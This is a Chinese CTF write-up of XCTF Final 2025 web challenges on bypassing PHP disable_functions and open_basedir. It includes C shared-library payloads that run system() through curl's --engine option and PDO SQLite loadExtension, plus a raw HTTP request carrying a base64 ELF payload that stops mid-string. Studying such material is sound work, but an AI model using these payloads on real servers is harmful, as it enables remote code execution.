XCTF Final 2025 决赛 web 整理学习
自己整理一下两天的XCTF Final赛事web方向的赛题,网上好像没有很全的wp,awdp更是完全没有。就全部找了集合一下再补充自己的(主要是awdp)。
赛制:第一天解题和rw以及pwn单挑,第二天是赛制比较特殊的awd,挺有趣的,十分钟一轮检查,给前几轮所有人攻击流量和patch包(到后面给的东西轮次会越来越接近当前轮次),先打了本地的才能patch,主要还是pwn太神仙打架了。最快发现最弱的漏洞--攻击成功--patch种马--优势滚雪球。
解题赛:
kidding:
经典绕过 disable_functions 和 open_basedir 题目
<?php
highlight_file(__FILE__);
@eval($_POST['so_ez!k1ddi&g?']);
open_basedir /var/www/html:/tmp

proc_open,pcntl_waitpid,pcntl_wait,dl,ini_restore,mb_send_mail,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,pcntl_alarm,pcntl_sigtimedwait,ini_set
然后还有openssl,sqlite3。当时主要思路是去sqlite3绕openbase_dir什么的,下面是问ai的sqlite3的绕过之一的回答,最后很多尝试都失败了。
)
最后别人题解是这个的报告
curl |报告 #3293801- 标题:通过任意库远程代码执行(RCE)加载在“--engine”选项中 |HackerOne
看到的题解:
XCTF final 2025 N1Star web wp - ENOCH-lyn Blog
不过他这个的第二道题就把curl那一套函数给禁用了。

翻译的命令行工具是curl
-
创建恶意载荷
把下面 C 代码保存为evil_engine.c。库文件被加载时,会立即执行id > /tmp/RCE_VIA_ENGINE。#include <stdlib.h> // 动态链接器加载库时,自动运行此构造函数 __attribute__((constructor)) static void rce_init(void) { system("id > /tmp/RCE_VIA_ENGINE"); } -
编译成共享库
gcc -fPIC -shared -o evil_engine.so evil_engine.c -
清理旧痕迹
rm -f /tmp/RCE_VIA_ENGINE -
利用 curl 的
--engine加载恶意库bash
复制
curl --engine $(pwd)/evil_engine.so https://example.com会看到类似
curl: (53) SSL Engine not found的错误——不重要,因为构造函数已在报错前执行。 -
验证是否成功触发了命令执行
cat /tmp/RCE_VIA_ENGINE若能读出
uid=...信息,证明 RCE 达成。别人的博客wp的那一张

curl --engine /tmp/evil.so→ 加载瞬间 → constructor 执行 → 任意命令
不受 PHP 禁用函数限制,不穿 basedir(加载在 C 层)。
kinding-revenge
第二关把curl那一套都禁用了。我在su team的博客找到了答案,他们反而是用第二关的思路做的第一关,不会是因为他们非预期了才加的第二关吧,我记得是后面放出来的这题。_
https://su-team.cn 的微信公众号发的,写wp的博客反而没有
这一题的下面都是他们的内容了:
"""
但偶然看到存在sqlite3 扩展,推测其在putenv 被ban情况下也能完成任意路径下.so加载
存在SQLite3::loadExtension 方法可以加载库,但库必须位于配置选项 sqlite3.extension_dir 中指定的目录中。
峰回路转找到在Pdo\Sqlite::loadExtension 也存在可以加载库的方法,好像没有配置限制
依据报错,构造 so 文件
#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
SQLITE_EXTENSION_INIT1
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
) {
SQLITE_EXTENSION_INIT2(pApi);
const char *command_file_path = "/tmp/1.txt";
char command_buffer[512] = {0};
FILE *file_handle;
file_handle = fopen(command_file_path, "r");
if (file_handle == NULL) {
return SQLITE_OK;
}
if (fgets(command_buffer, sizeof(command_buffer), file_handle) != NULL) {
command_buffer[strcspn(command_buffer, "\r\n")] = 0;
if (strlen(command_buffer) > 0) {
system(command_buffer);
}
}
fclose(file_handle);
return SQLITE_OK;
}
写入,加载
POST / HTTP/1.1
Host: 173.32.20.154
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21284
%73%6f%5f%65%7a%21%6b%31%64%64%69%26%67%3f=%24base64%5Fso%20%3D%20%22f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAAAg2AAAAAAAAAAAAAEAAOAAJAEAAHAAbAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAUAAAAAAADIBQAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAA9AgAAAAAAAD0CAAAAAAAAABAAAAAAAAABAAAABAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAALQAAAAAAAAAtAAAAAAAAAAAEAAAAAAAAAEAAAAGAAAA8C0AAAAAAADwPQAAAAAAAPA9AAAAAAAAQAIAAAAAAABQAgAAAAAAAAAQAAAAAAAAAgAAAAYAAAAALgAAAAAAAAA%2BAAAAAAAAAD4AAAAAAADAAQAAAAAAAMABAAAAAAAACAAAAAAAAAAEAAAABAAAADgCAAAAAAAAOAIAAAAAAAA4AgAAAAAAACQAAAAAAAAAJAAAAAAAAAAEAAAAAAAAAFDldGQEAAAAECAAAAAAAAAQIAAAAAAAABAgAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAABS5XRkBAAAAPAtAAAAAAAA8D0AAAAAAADwPQAAAAAAABACAAAAAAAAEAIAAAAAAAABAAAAAAAAAAQAAAAUAAAAAwAAAEdOVQC1DaX3C6ra9C0veZQmRe09DUv69wAAAAACAAAACgAAAAEAAAAGAAAACgAEAAAQAAAAAAAACgAAAAArJSODdAZ5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAkQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAigAAABIAAAAAAAAAAAAAAAAAAAAAAAAAggAAABIAAAAAAAAAAAAAAAAAAAAAAAAAfAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAdgAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAACAAAAAAAAAAAAAAAAAAAAAAAAAARgAAACIAAAAAAAAAAAAAAAAAAAAAAAAAYQAAABIADABJEQAAAAAAAOkAAAAAAAAAVQAAABEAFwA4QAAAAAAAAAgAAAAAAAAAAF9fZ21vbl9zdGFydF9fAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplAHNxbGl0ZTNfYXBpAHNxbGl0ZTNfZXhwbG9pdF9pbml0AGZvcGVuAGZnZXRzAHN0cmNzcG4Ac3lzdGVtAGZjbG9zZQBsaWJjLnNvLjYAR0xJQkNfMi4yLjUAAAABAAIAAgACAAIAAQACAAEAAgABAAEAAAABAAEAmAAAABAAAAAAAAAAdRppCQAAAgCiAAAAAAAAAPA9AAAAAAAACAAAAAAAAABAEQAAAAAAAPg9AAAAAAAACAAAAAAAAAAAEQAAAAAAAChAAAAAAAAACAAAAAAAAAAoQAAAAAAAAMA%2FAAAAAAAABgAAAAEAAAAAAAAAAAAAAMg%2FAAAAAAAABgAAAAYAAAAAAAAAAAAAANA%2FAAAAAAAABgAAAAgAAAAAAAAAAAAAANg%2FAAAAAAAABgAAAAsAAAAAAAAAAAAAAOA%2FAAAAAAAABgAAAAkAAAAAAAAAAAAAAABAAAAAAAAABwAAAAIAAAAAAAAAAAAAAAhAAAAAAAAABwAAAAMAAAAAAAAAAAAAABBAAAAAAAAABwAAAAQAAAAAAAAAAAAAABhAAAAAAAAABwAAAAUAAAAAAAAAAAAAACBAAAAAAAAABwAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiD7AhIiwW9LwAASIXAdAL%2F0EiDxAjDAAAAAAAAAAAA%2FzXKLwAA%2FyXMLwAADx9AAP8lyi8AAGgAAAAA6eD%2F%2F%2F%2F%2FJcIvAABoAQAAAOnQ%2F%2F%2F%2F%2FyW6LwAAaAIAAADpwP%2F%2F%2F%2F8lsi8AAGgDAAAA6bD%2F%2F%2F%2F%2FJaovAABoBAAAAOmg%2F%2F%2F%2F%2FyVaLwAAZpAAAAAAAAAAAEiNPZkvAABIjQWSLwAASDn4dBVIiwUWLwAASIXAdAn%2F4A8fgAAAAADDDx%2BAAAAAAEiNPWkvAABIjTViLwAASCn%2BSInwSMHuP0jB%2BANIAcZI0f50FEiLBeUuAABIhcB0CP%2FgZg8fRAAAww8fgAAAAADzDx76gD0lLwAAAHUrVUiDPcouAAAASInldAxIiz0GLwAA6Fn%2F%2F%2F%2FoZP%2F%2F%2F8YF%2FS4AAAFdww8fAMMPH4AAAAAA8w8e%2Bul3%2F%2F%2F%2FVUiJ5UiB7DACAABIib3o%2Ff%2F%2FSIm14P3%2F%2F0iJldj9%2F%2F9IiwVoLgAASIuV2P3%2F%2F0iJEEiNBX8OAABIiUX4SI2V8P3%2F%2F7gAAAAAuUAAAABIidfzSKtIjRVoDgAASItF%2BEiJ1kiJx%2Bi%2B%2Fv%2F%2FSIlF8EiDffAAdQe4AAAAAOtsSItV8EiNhfD9%2F%2F%2B%2BAAIAAEiJx%2BiE%2Fv%2F%2FSIXAdD5IjRUlDgAASI2F8P3%2F%2F0iJ1kiJx%2BhW%2Fv%2F%2FxoQF8P3%2F%2FwBIjYXw%2Ff%2F%2FD7YAhMB0D0iNhfD9%2F%2F9IicfoIf7%2F%2F0iLRfBIicfoBf7%2F%2F7gAAAAAycMAAEiD7AhIg8QIwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvdG1wLzEudHh0AHIADQoAARsDOyQAAAADAAAAEPD%2F%2F0AAAABw8P%2F%2FaAAAADnx%2F%2F%2BAAAAAAAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAAyO%2F%2F%2F2AAAAAADhBGDhhKDwt3CIAAPxo7KjMkIgAAAAAUAAAARAAAAADw%2F%2F8IAAAAAAAAAAAAAAAcAAAAXAAAALHw%2F%2F%2FpAAAAAEEOEIYCQw0GAuQMBwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA